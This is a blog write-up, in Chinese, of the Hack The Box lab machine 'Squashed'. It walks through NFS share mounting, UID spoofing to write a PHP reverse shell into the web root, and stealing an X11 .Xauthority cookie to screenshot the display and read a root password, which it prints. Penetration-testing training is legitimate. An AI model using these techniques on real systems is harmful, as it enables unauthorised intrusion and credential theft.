【HTB靶场】Squashed WriteUp

最新推荐文章于 2024-09-02 08:30:00 发布
最新推荐文章于 2024-09-02 08:30:00 发布
阅读量1k 收藏 23
点赞数 11
分类专栏： htb 文章标签： 安全 linux web安全 安全漏洞 网络安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_46607055/article/details/137110481
版权

渗透过程

靶机IP：10.129.216.46
在这里插入图片描述

信息收集

端口扫描

nmap -Pn -sC -sV -p- 10.129.216.46 --min-rate=5000

┌──(root㉿kali)-[~/Desktop]
└─# nmap -Pn -sC -sV -p- 10.129.216.46 --min-rate=5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-28 14:12 CST
Warning: 10.129.216.46 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.129.216.46
Host is up (0.15s latency).
Not shown: 65527 closed tcp ports (reset)
PORT      STATE SERVICE  VERSION
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp    open  http     Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Built Better
111/tcp   open  rpcbind  2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100003  3           2049/udp   nfs
|   100003  3           2049/udp6  nfs
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100021  1,3,4      43256/udp   nlockmgr
|   100021  1,3,4      45477/tcp6  nlockmgr
|   100021  1,3,4      46391/tcp   nlockmgr
|   100021  1,3,4      53539/udp6  nlockmgr
|   100227  3           2049/tcp   nfs_acl
|   100227  3           2049/tcp6  nfs_acl
|   100227  3           2049/udp   nfs_acl
|_  100227  3           2049/udp6  nfs_acl
2049/tcp  open  nfs      3-4 (RPC #100003)
46391/tcp open  nlockmgr 1-4 (RPC #100021)
56817/tcp open  mountd   1-3 (RPC #100005)
57377/tcp open  mountd   1-3 (RPC #100005)
60185/tcp open  mountd   1-3 (RPC #100005)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 42.41 seconds

可以看到开放了NFS服务

获得shell

什么是NFS？
NFS就是Network File System的缩写，它最大的功能就是可以通过网络，让不同的机器、不同的操作系统可以共享彼此的文件。
​ NFS服务器可以让PC将网络中的NFS服务器共享的目录挂载到本地端的文件系统中，而在本地端的系统中来看，那个远程主机的目录就好像是自己的一个磁盘分区一样，在使用上相当便利；

推测有信息泄露。网上查询NFS服务利用命令

showmount -e 10.129.216.46	#查看能共享的目录
mkdir dict_share			#本地创建用来共享的目录
mount -t nfs 10.129.216.46:/ dict_shre -o nolock	#将共享的目录挂载到dict_share目录
df -h 						#查看是否挂在成功

在这里插入图片描述
可以看到，靶机共享了 /home/ross 文件夹和 /var/www/html 文件夹，一个是用户文件夹，一个是网站根目录。进入共享文件夹，使用tree命令查看文件结构。发现有个叫password的文件
这里也有疑问。/var/www/html 作为网站根目录，为什么没有文件呢？
在这里插入图片描述
先把 Password.kdbx，复制出来。

cd home/ross/Documents
cp Passwords.kdbx /root/Desktop/password.kdbx

在这里插入图片描述
网上查询kdbx这玩意咋打开。使用 keepass2

apt-get install keepass2	#安装keepass2
keepass2 password.kdbx		#打开

在这里插入图片描述
需要密码。卡住了。
回到网站目录下没有文件的疑问。
尝试进入
在这里插入图片描述
会提示权限不够。老子root权限复制过来的居然不够？查！

ls -ald var/www/html	# -d 参数只列出目录（不递归列出目录内的文件） 
ls -al var/www/html

在这里插入图片描述
shell.php.swp文件是我刚刚上传shell.php的备份文件。原环境是没有的。

接下来怎么操作呢？
网上搜索 NFS 共享漏洞，会提到一句。
NFS协议所使用的唯一的身份验证因素就是客户端设备传递过来的UID或GID（Group ID）。这也就意味着，如果我们能够伪造客户端设备的访问ID，我们就能够绕过NFS服务器的身份验证了。
在ls命令的输出中，uid为2017。我们本地新建一个uid为2017的用户，就能访问共享文件夹了。

useradd test -u 2017
cd var/www/html

在这里插入图片描述

报错了。我在这里卡了很久，不知道是什么原因。明明uid 是2017了。
问问AI。
在这里插入图片描述
也就是说创建用户的命令不全，test用户没有home目录，它更像一个临时用户。
重新给出命令。

useradd test -u 2017 -m -s /bin/bash -G www-data

这个命令会创建一个新用户test，分配UID为2017，创建家目录/home/test，设置默认shell为/bin/bash，并将用户添加到www-data组中。

在这里插入图片描述
在这里插入图片描述
ok 进来了。既然是网站根目录，可以直接写反弹shell并访问。
本机开启监听

nc -lvnp 1234

kali下自带php的反弹shell文件

cp /usr/share/webshells/php/php-reverse-shell.php shell.php
vim shell.php

在这里插入图片描述
在这里插入图片描述
修改反弹ip为本机ip
访问 http://10.129.216.46/shell.php
拿到shell
在这里插入图片描述
在这里插入图片描述
得到user.txt的flag

提权

怎么提权呢？一个密码都没有，没法执行sudo -l
继续信息收集，发现还有一个名为ross的用户。在最开始的目录挂载中，看到其document文件夹下有个passwords.kdbx文件。回想拿到shell的过程，我们伪造了uid为2017的用户test，查看了网站根目录的文件；那伪造uid跟ross一样的用户，是不是能看到更多文件呢？

查看ross用户id，为1001
在这里插入图片描述

再次创建用户

useradd ssor -u 1001 -m -s /bin/bash -G www-data

在这里插入图片描述
显然，并没有成功。
到这实在没辙了。只能去看官方的WP
官方提示有个叫X11的东西，我一开始没找到在哪。
结果执行ls -al即可发现
在这里插入图片描述
authority是认证，session是回话，这俩肯定是敏感文件了。抓紧打开看看

┌──(ssor㉿kali)-[/root/Desktop/dict_share/home/ross]
└─$ cat .Xauthority

squashed.htb0MIT-MAGIC-COOKIE-1
                               �$$���ۊV��nf
┌──(ssor㉿kali)-[/root/Desktop/dict_share/home/ross]
└─$ cat .xsession-errors                                                                              
dbus-update-activation-environment: setting DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1001/bus
dbus-update-activation-environment: setting DISPLAY=:0
dbus-update-activation-environment: setting XAUTHORITY=/home/ross/.Xauthority
dbus-update-activation-environment: setting QT_ACCESSIBILITY=1
dbus-update-activation-environment: setting SHELL=/bin/sh
dbus-update-activation-environment: setting QT_ACCESSIBILITY=1
dbus-update-activation-environment: setting XDG_CONFIG_DIRS=/etc/xdg/xdg-gnome:/etc/xdg
dbus-update-activation-environment: setting XDG_SESSION_PATH=/org/freedesktop/DisplayManager/Session0
dbus-update-activation-environment: setting LANGUAGE=en
dbus-update-activation-environment: setting DESKTOP_SESSION=gnome
dbus-update-activation-environment: setting PWD=/home/ross
dbus-update-activation-environment: setting XDG_SESSION_DESKTOP=gnome
dbus-update-activation-environment: setting LOGNAME=ross
dbus-update-activation-environment: setting XDG_SESSION_TYPE=x11
dbus-update-activation-environment: setting GPG_AGENT_INFO=/run/user/1001/gnupg/S.gpg-agent:0:1
dbus-update-activation-environment: setting XAUTHORITY=/home/ross/.Xauthority
dbus-update-activation-environment: setting XDG_GREETER_DATA_DIR=/var/lib/lightdm-data/ross
dbus-update-activation-environment: setting GDM_LANG=en
dbus-update-activation-environment: setting HOME=/home/ross
dbus-update-activation-environment: setting IM_CONFIG_PHASE=1
dbus-update-activation-environment: setting LANG=en_US.UTF-8
dbus-update-activation-environment: setting XDG_CURRENT_DESKTOP=GNOME
dbus-update-activation-environment: setting XDG_SEAT_PATH=/org/freedesktop/DisplayManager/Seat0
dbus-update-activation-environment: setting XDG_SESSION_CLASS=user
dbus-update-activation-environment: setting USER=ross
dbus-update-activation-environment: setting DISPLAY=:0
dbus-update-activation-environment: setting SHLVL=1
dbus-update-activation-environment: setting XDG_RUNTIME_DIR=/run/user/1001
dbus-update-activation-environment: setting XDG_DATA_DIRS=/usr/share/gnome:/usr/local/share:/usr/share:/var/lib/snapd/desktop
dbus-update-activation-environment: setting PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
dbus-update-activation-environment: setting GDMSESSION=gnome
dbus-update-activation-environment: setting DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1001/bus
dbus-update-activation-environment: setting _=/usr/bin/dbus-update-activation-environment

直接查看还是啥重要信息也没有。

WP给的信息
在这里插入图片描述
X is a portable, network-transparent window system for managing a windowed GUI.
X 是一个可移植的、网络透明的窗口系统，用于管理窗口化 GUI。

既然是个系统，就会有登录用户和密码。继续看

The .Xauthority file is used to store credentials in the form of cookies used by xauth when authenticating X sessions. When a session is started, the cookie is then used to authenticate the subsequent connections to that specific display. With that in mind, since we can read the file using our newly created user ssor , we can steal the cookie and therefore act as the authenticated ross user and interact with the display.
.Xauthority文件用来存储X回话认证的鉴别信息。启动会话后，将使用 cookie 对与该特定显示器的后续连接进行身份验证。考虑到这一点，由于我们可以使用新创建的用户 ssor 读取文件，我们可以窃取 cookie，从而充当经过身份验证的 ross 用户并与显示器进行交互。

那好，将文件导出，并进行cookie替换。因为有不可打印的字符，所以用base64进行编码

┌──(ssor㉿kali)-[/root/Desktop/dict_share/home/ross]
└─$ cat .Xauthority | base64
AQAADHNxdWFzaGVkLmh0YgABMAASTUlULU1BR0lDLUNPT0tJRS0xABC5smmv6tddi3YfId9yKIqQ

在这里插入图片描述

再回到反弹的shell中，将导出的cookie放入新建的/tmp/.Xauthority中

script /dev/null -c bash	#美化shell界面

echo "AQAADHNxdWFzaGVkLmh0YgABMAASTUlULU1BR0lDLUNPT0tJRS0xABC5smmv6tddi3YfId9yKIqQ" | base64 -d > /tmp/.Xauthority

更新X的配置文件

export XAUTHORITY=/tmp/.Xauthority

导入后，执行w命令，用于显示目前登入系统的用户信息，显示ross用户已登录。
在这里插入图片描述
使用linux下的截图命令

xwd -root -screen -silent -display :0 > /tmp/screen.xwd

在这里插入图片描述

使用wget命令下载。下载完后，将截屏文件转成png

convert screen.xwd screen.png

在这里插入图片描述
找到root账户的密码cah$mei7rai9A
在这里插入图片描述
切换账户，得到flag
在这里插入图片描述

m0_46607055
关注
  • 11
    点赞
  • 踩
  • 23
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
HTB靶场 Shared
weixin_45682839的博客
08-22 2159
HTB靶场shared靶机通关攻略记录，涉及知识点包括：端口服务扫描、sql注入（cookie）、linux提权（ipython越权漏洞、redis逃逸漏洞）
HTB Lame[Hack The Box HTB靶场]writeup系列1
重新启程
02-01 2917
首先祈祷一下SARS病情尽快过去，武汉加油！湖北加油！ 为了不给国家添乱，所以我在HTB订阅了VIP，准备搞下Retired Machines的靶机。 目录 0x00 靶场介绍 0x01 扫描端口 0x02 ftp服务 0x03 smb服务 0x00 靶场介绍 我们从第一个lame开始。 如何注册账号，购买vip，网上有大把文章，这里我就不再记录了。 这个系列主要是...
https://app.hackthebox.com/machines/Squashed
32bin的博客
04-09 7365
【代码】攻防世界-level0。
HTB Popcorn[Hack The Box HTB靶场]writeup系列4
重新启程
02-02 4548
本题是retire的第四题Popcorn 目录 0x00 靶机情况 0x01 扫描端口 0x02 web目录文件扫描 0x03 get webshell 0x04 提权 0x00 靶机情况 本题是linux的靶机，整体看起来难度在3-4之间，比之前的题目有了一些难度，不过做过vulnhub的题目之后，linux的题目基本上怎么做都心里有数了。 0x01 扫描端口 先看下端口...
HTB靶场 Perfection
m0_62438849的博客
04-25 865
其余恶意代码=echo+[payload]|+base64+-d+|+bash (+表示空格）总的 category1=%25>;写一段反弹shell代码#!经过base64编码。
HTB Legacy[Hack The Box HTB靶场]writeup系列2
重新启程
02-01 1612
Retired Machines的第二台，前面的靶机都是比较简单的，通常都是适应性的训练，找到合适的突破点就可以了。 目录 0x00 靶场介绍 0x01 端口扫描 0x02 samba服务 0x03永恒之蓝 0x00 靶场介绍 Legacy这台靶机是windows靶机，我们之前在Vulnhub上使用的靶机基本上都是linux操作系统。那么我们就来看看这台靶机是什么情况。 先看下...
HTB Optimum[Hack The Box HTB靶场]writeup系列6
重新启程
02-04 3144
这是HTB retire machine的第六台靶机 目录 0x00 靶机情况 0x01 信息搜集 端口扫描 检索应用 0x02 get webshell 0x03 提权 mfs中查找提权程序 执行systeminfo 执行windows-exploit-suggester.py 执行ms16-098 0x00 靶机情况 可以看到这台靶机是windows的靶机，难...
HTB Beep[Hack The Box HTB靶场]writeup系列5
重新启程
02-04 3524
本题是retire机器的第五台了 目录 0x00 靶场信息 0x01 信息搜集 0x02 业务探测 80端口主页：elastix freepbx 80端口mail业务：roundcube webmail 10000端口：webmin 0x03 漏洞分析 elastix roundcube webmin 0x03 web攻击 roundcube webmin elas...
AI安全立法：加州新法案的争议与未来影响
2301_79342058的博客
09-01 904
正如之前详细探讨过的那样，SB-1047法案要求AI模型的创建者在模型出现“对公共安全和安保构成新威胁”时，尤其是在“缺乏人类监督、干预或管理”的情况下，必须实施一种可以“关闭”该模型的“杀手开关”。不要错过这个机会，成为AI领域的领跑者。在周三宣布立法通过时，该法案的发起人、州参议员斯科特·维纳（Scott Weiner）引用了AI行业知名人士的支持，如Geoffrey Hinton和Yoshua Bengio（这两位去年也签署了一份声明，警告快速发展的AI技术可能带来的“灭绝风险”）。
IT服务器安全规范 2024.08
S0linteeH's Blog
08-30 1862
安全配置建议 使用场景 场景说明 安全配置建议 登录密钥 服务器登录账号及密钥。 建议设置为强密码形式：12位以上，同时包含数字、大小写字母、特殊符号 远程登录端口 22、3389端口分别用于服务器的Linux和Windows场景下的远程登录，需对这两端口进行安全限制。 利用安全组限制22、3389远程登录端口的访问来源IP。无法设置白名单时，将远程登录的方式设置为SSH Key认证方式。 MySQL、FTP等在安装的高危服务端口 由于MySQL和
web渗透：SSRF漏洞
最新发布
weixin_68416970的博客
09-02 955
SSRF（Server-Side Request Forgery，服务器端请求伪造）是一种安全漏洞，它允许攻击者构造请求，由服务端发起，从而访问服务端无法直接访问的内部或外部资源。为了防范SSRF漏洞，应用程序应该实施严格的输入验证，限制外部请求的来源和类型，以及避免在服务器端执行用户可控的外部请求。内外网web应用攻击：利用SSRF漏洞，攻击者可以针对内外网的web应用发起攻击，特别是那些通过GET参数即可触发的漏洞。通过实施这些措施，可以显著降低SSRF漏洞被利用的风险，保护应用程序和数据的安全。
钓鱼特辑（四）安全较量，摆脱“麻瓜”标签
Eaglecloud的博客
08-30 729
近期，某知名制造业企业HR又收到了来自红队“求职者”的简历，显示名为「陈梓锋-华南理工大学-硕士」的压缩文件，立马被亿格云枢EDR检测到并触发告警，企业安全团队在亿格云安全团队的介入下，及时剖析并处置了本次钓鱼攻击，经分析，本次钓鱼攻击使用了多款远控C2，规避调试器、规避内存扫描等，对抗技术丰富。另一种是在本身的shellcode内就实现了加解密。，有效应对大部分旨在规避传统安全检测的攻击，构建了一个多维度的检测与响应机制，从而为企业筑起了一道坚固的防线，抵御钓鱼攻击等网络安全威胁，保护企业数据和资产。
安全升级：Docker部署Redis，启用密码验证
2302_78886445的博客
08-29 1143
在redis文件夹里面创建：data文件夹和conf文件夹（文件夹名称随意）
DNS部署与安全
m0_64827698的博客
08-28 1607
子域 二级域 顶级域 根域。本地域名服务器（代替主机迭代）去找根域名服务器——>...服务器——>权威服务 客户端。特定服务 公司或组织的名称 公司/国家/...（网站性质或地域）DNS缓存投毒（改映射）、DNS放大攻击（分布拒绝服务DDOS）、子域名劫持。主机找网关（本地域名服务器） 客户端。DNS查询（小数据包，要求速度快），www通常指公司网站的主服务器。
【国铁采购平台-注册安全分析报告-无验证方式导致安全隐患】
08-31 1026
国铁采购平台电子招标采购系统”是中国国家铁路集团有限公司及所属企业指定的电子招标采购系统，运用大数据、云计算、互联网和人工智能技术，提高采购电子化水平，加强采购大数据分析，实现智慧采购和智能管理。，从平台的实力来看应该是非常雄厚，但好像对短信被盗刷的安全方面不够重视 ，测试结果就是随便你怎么攻击都可以，这也有点太开放了， 短信验证码难道不要钱吗？这对黑客来说肯定是好消息， 弄个简单的脚本就可以搞定很多人在短信服务刚开始建设的阶段，可能不会在安全方面考虑太多，理由有很多。比如：“
突发性网络攻击的安全挑战分析
persist213的博客
08-28 642
根据学者的统计，美国主要媒体对突发性网络攻击 ( 尤其是“网络珍珠港”) 的报道于 2011-继 2010 年遭受震网病毒攻击之后，伊朗在 2018 年又一次受到了震网病毒的攻击，并且攻击的严。2013 年之间呈飙升的趋势，而这正是因为伊朗对美国和其波斯湾盟国进行了一系列的网络攻击，正是鉴于这样一种权衡，美国的安全战略才不断地强调对突发性网络攻击的预防。网络战争的新兴形式，对于世界来说仍是国家安全领域的新问题，对网络安全治理带来了不可忽视。根据目前的世界格局，国与国之间的军事实力是完全不对称的，尤其。
架构设计（13）安全架构设计理论
追赶时代的博客
09-01 1524
信息安全的架构设计，比如网络安全设计，数据库安全设计
峟思大坝安全监测系统：科技筑牢工程稳定的基石
yousino1的博客
08-30 537
为了确保大坝的安全无虞，系统采用了地形测量、温度传感、应力监测等多维度技术手段，实现对大坝健康状况的全面评估。同时，智能预警系统的加入，使得监测与响应更加迅速、精准，有效提升了大坝安全管理的效率与水平。然而，数据隐私保护与信息安全问题也不容忽视，需要我们在享受科技便利的同时，加强数据防护，确保大坝安全监测工作的万无一失。随着科技的日新月异，大坝安全监测系统作为守护工程稳定的“哨兵”，正步入一个前所未有的创新与发展阶段。这一系统不仅是大坝健康管理的关键工具，更是确保民生安全、促进经济可持续发展的重要支撑。
format htb
08-24
HTB is an abbreviation for Hack The Box, which is an online platform that provides hands-on penetration testing and hacking challenges. It allows users to simulate real-world cybersecurity scenarios ...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值